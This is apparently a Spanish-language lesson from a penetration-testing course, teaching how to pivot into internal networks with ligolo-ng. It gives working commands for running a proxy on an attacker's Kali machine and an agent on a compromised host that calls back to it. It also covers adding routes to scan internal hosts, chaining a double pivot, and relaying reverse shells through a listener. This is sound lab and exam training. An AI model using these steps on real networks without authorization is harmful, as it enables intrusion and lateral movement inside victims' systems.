Teoria · Pivoting avanzado

ligolo-ng: pivoting como si tuvieras un cable a la red interna

Ya sabes pivotar con proxychains y con Metasploit (Semana 7). Esta es la herramienta que, una vez la pruebas, no sueltas: ligolo-ng. Aqui esta todo lo que necesitas para usarla con soltura.

💡Por que es DIFERENTE (la idea clave)

proxychains / SOCKS: es un proxy. Tienes que envolver cada comando (proxychains nmap...), funciona sobre todo con TCP, y el doble pivot se encadena a mano.

ligolo-ng: NO es un proxy, es una interfaz de red virtual (TUN), como una VPN hacia la red interna. Eso significa que usas tus herramientas nativas (nmap, curl, el navegador, Metasploit) sin envolver nada, y el doble pivot se reduce a anadir otra ruta.

Grabate esto: ligolo no es un proxy, es una tarjeta de red virtual a la red del objetivo.

🧰Las dos piezas

ligolo-ng tiene dos binarios (ya instalados en tu Kali):

proxyCorre en TU Kali. Crea la interfaz TUN y escucha a que el agente llame a casa.
agentLo subes al pivote comprometido. Hace una conexion SALIENTE hacia tu proxy (evade firewalls de entrada).

El agent tambien lo tienes en /usr/share/ligolo-ng/agent para servirlo/transferirlo facil.

▶Paso a paso (un pivot)

1. En tu Kali: crea la interfaz TUN (una sola vez) y lanza el proxy.

kali@kali
:~$ sudo ip tuntap add user kali mode tun ligolo
:~$ sudo ip link set ligolo up
kali@kali
:~$ ./proxy -selfcert
ligolo-ng > (escuchando en 0.0.0.0:11601)

2. En el pivote comprometido: sube y ejecuta el agente apuntando a tu Kali.

pivote
:~$ ./agent -connect TU_KALI:11601 -ignore-cert
[agent] joined the party

3. En la consola de ligolo: seleccionas la sesion, miras sus redes y arrancas el tunel.

ligolo-ng >
session # eliges la sesion del agente
ligolo-ng >
ifconfig # ves la 2a red del pivote (p.ej. 172.16.8.0/24)
ligolo-ng >
start

4. En tu Kali: anade la ruta a la red interna por la interfaz ligolo. Y ya: tools nativas.

kali@kali
:~$ sudo ip route add 172.16.8.0/24 dev ligolo
:~$ nmap -sV 172.16.8.10 # NATIVO, sin proxychains
:~$ curl http://172.16.8.10 # como si estuvieras dentro

🔁Doble pivot = otra sesion, otra ruta

Lo que en la M29 fue encadenar tuneles a mano, aqui es trivial:

# subes el agent al 2o pivote y lo conectas
ligolo-ng >
session # 2 - agent@pivote2 (RED C)
kali@kali
:~$ sudo ip route add 10.80.0.0/24 dev ligolo

Y ya alcanzas la red mas profunda. Otra sesion, otra ruta.

🔐Reverse shells que vuelven solas (listener_add)

El agente puede reenviarte puertos de vuelta, para que una reverse shell desde una maquina interna llegue a tu Kali sin montar tuneles inversos a mano:

ligolo-ng >
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
# una reverse shell de la interna -> vuelve a tu Kali

🔧Problemas tipicos (troubleshooting)

'open /dev/net/tun: no such file'Tu Kali ya trae el dispositivo; si lo lanzaste antes, resetea/relanza tu Kali y vuelve a probar.
El agent no conectaRevisa que apuntas a la IP de TU Kali y al puerto 11601, y usa -ignore-cert con -selfcert.
nmap no llega a la internaTe falta la RUTA: sudo ip route add RED_INTERNA/24 dev ligolo, y haber hecho 'start' en ligolo.
Permiso denegado al crear la interfazUsa sudo (tu Kali tiene sudo sin contrasena).

🎯Para el examen (eJPT/OSCP)

En el examen, ten claras tambien proxychains y Metasploit (autoroute + socks_proxy): son las vias que te garantizan aprobar. Pero para tu dia a dia y para sentirte comodo pivotando, ligolo-ng es la herramienta. Praticala en las maquinas de pivoting (M27-M30) y en el Lab de ligolo-ng.

▶ Ver el video de ligolo-ng ⚔ Practicar en los labs de pivoting